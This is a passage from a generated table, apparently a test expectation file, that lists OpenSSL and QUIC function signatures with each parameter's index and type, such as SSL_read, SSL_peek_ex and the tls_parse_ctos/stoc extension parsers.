uint8_t | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 2 | uint8_t | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 3 | uint8_t | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 4 | const unsigned char * | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 5 | size_t | +| (SSL *,uint16_t *,size_t *) | | SSL_client_hello_get_extension_order | 0 | SSL * | +| (SSL *,uint16_t *,size_t *) | | SSL_client_hello_get_extension_order | 1 | uint16_t * | +| (SSL *,uint16_t *,size_t *) | | SSL_client_hello_get_extension_order | 2 | size_t * | +| (SSL *,uint32_t) | | SSL_set_max_early_data | 0 | SSL * | +| (SSL *,uint32_t) | | SSL_set_max_early_data | 1 | uint32_t | +| (SSL *,uint32_t) | | SSL_set_recv_max_early_data | 0 | SSL * | +| (SSL *,uint32_t) | | SSL_set_recv_max_early_data | 1 | uint32_t | +| (SSL *,uint64_t) | | SSL_clear_options | 0 | SSL * | +| (SSL *,uint64_t) | | SSL_clear_options | 1 | uint64_t | +| (SSL *,uint64_t) | | SSL_new_listener_from | 0 | SSL * | +| (SSL *,uint64_t) | | SSL_new_listener_from | 1 | uint64_t | +| (SSL *,uint64_t) | | SSL_set_options | 0 | SSL * | +| (SSL *,uint64_t) | | SSL_set_options | 1 | uint64_t | +| (SSL *,uint64_t) | | ossl_quic_clear_options | 0 | SSL * | +| (SSL *,uint64_t) | | ossl_quic_clear_options | 1 | uint64_t | +| (SSL *,uint64_t) | | ossl_quic_new_listener_from | 0 | SSL * | +| (SSL *,uint64_t) | | ossl_quic_new_listener_from | 1 | uint64_t | +| (SSL *,uint64_t) | | ossl_quic_set_options | 0 | SSL * | +| (SSL *,uint64_t) | | ossl_quic_set_options | 1 | uint64_t | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 0 | SSL * | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 1 | uint64_t | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 2 | const SSL_SHUTDOWN_EX_ARGS * | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 3 | size_t | +| (SSL *,unsigned int) | | SSL_set_hostflags | 0 | SSL * | +| (SSL *,unsigned int) | | SSL_set_hostflags | 1 | unsigned int | +| (SSL *,unsigned long) | | SSL_dane_clear_flags | 0 | SSL * | +| (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | unsigned long | +| (SSL *,unsigned long) | | SSL_dane_set_flags | 0 | SSL * | +| (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | unsigned long | +| (SSL *,void *) | | SSL_set0_security_ex_data | 0 | SSL * | +| (SSL *,void *) | | SSL_set0_security_ex_data | 1 | void * | +| (SSL *,void *) | | SSL_set_async_callback_arg | 0 | SSL * | +| (SSL *,void *) | | SSL_set_async_callback_arg | 1 | void * | +| (SSL *,void *) | | SSL_set_default_passwd_cb_userdata | 0 | SSL * | +| (SSL *,void *) | | SSL_set_default_passwd_cb_userdata | 1 | void * | +| (SSL *,void *) | | SSL_set_record_padding_callback_arg | 0 | SSL * | +| (SSL *,void *) | | SSL_set_record_padding_callback_arg | 1 | void * | +| (SSL *,void *,int) | | SSL_peek | 0 | SSL * | +| (SSL *,void *,int) | | SSL_peek | 1 | void * | +| (SSL *,void *,int) | | SSL_peek | 2 | int | +| (SSL *,void *,int) | | SSL_read | 0 | SSL * | +| (SSL *,void *,int) | | SSL_read | 1 | void * | +| (SSL *,void *,int) | | SSL_read | 2 | int | +| (SSL *,void *,int) | | SSL_set_session_ticket_ext | 0 | SSL * | +| (SSL *,void *,int) | | SSL_set_session_ticket_ext | 1 | void * | +| (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | int | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 3 | size_t * | +| (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 0 | SSL_CIPHER * | +| (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 1 | const SSL_CIPHER * | +| (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | int | +| (SSL_CONF_CTX *,SSL *) | | SSL_CONF_CTX_set_ssl | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,SSL *) | | SSL_CONF_CTX_set_ssl | 1 | SSL * | +| (SSL_CONF_CTX *,SSL_CTX *) | | SSL_CONF_CTX_set_ssl_ctx | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,SSL_CTX *) | | SSL_CONF_CTX_set_ssl_ctx | 1 | SSL_CTX * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | const char * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | const char * | +| (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 1 | const char * | +| (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 2 | const char * | +| (SSL_CONF_CTX *,int *,char ***) | | SSL_CONF_cmd_argv | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,int *,char ***) | | SSL_CONF_cmd_argv | 1 | int * | +| (SSL_CONF_CTX *,int *,char ***) | | SSL_CONF_cmd_argv | 2 | char *** | +| (SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *) | | config_ctx | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *) | | config_ctx | 1 | stack_st_OPENSSL_STRING * | +| (SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *) | | config_ctx | 2 | SSL_CTX * | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | unsigned int | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | unsigned int | +| (SSL_CONNECTION *) | | dtls1_query_mtu | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | get_ca_names | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_client_max_message_size | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_get_in_handshake | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_get_state | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_server_max_message_size | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ssl_get_ciphers_by_id | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ssl_set_client_hello_version | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *) | | ssl_get_prev_session | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *) | | ssl_get_prev_session | 1 | CLIENTHELLO_MSG * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *) | | ssl_choose_server_version | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *) | | ssl_choose_server_version | 1 | CLIENTHELLO_MSG * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *) | | ssl_choose_server_version | 2 | DOWNGRADE * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **) | | tls_get_ticket_from_client | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **) | | tls_get_ticket_from_client | 1 | CLIENTHELLO_MSG * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **) | | tls_get_ticket_from_client | 2 | SSL_SESSION ** | +| (SSL_CONNECTION *,EVP_PKEY *) | | ssl_generate_pkey | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,EVP_PKEY *) | | ssl_generate_pkey | 1 | EVP_PKEY * | +| (SSL_CONNECTION *,PACKET *) | | dtls_process_hello_verify | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | dtls_process_hello_verify | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_client_process_message | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_client_process_message | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_server_process_message | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_server_process_message | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | parse_ca_names | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | parse_ca_names | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_certificate_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_certificate_request | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_certificate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_certificate | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_hello | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_key_exchange | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_key_exchange | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_rpk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_rpk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_key_exchange | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_key_exchange | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_new_session_ticket | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_new_session_ticket | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_next_proto | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_next_proto | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_certificate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_certificate | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_hello | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_rpk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_rpk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,EVP_PKEY **) | | tls_process_rpk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,EVP_PKEY **) | | tls_process_rpk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,EVP_PKEY **) | | tls_process_rpk | 2 | EVP_PKEY ** | +| (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | int | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 3 | RAW_EXTENSION ** | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 4 | size_t * | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 5 | int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_renegotiate | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_sct | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_server_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_supported_versions | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION 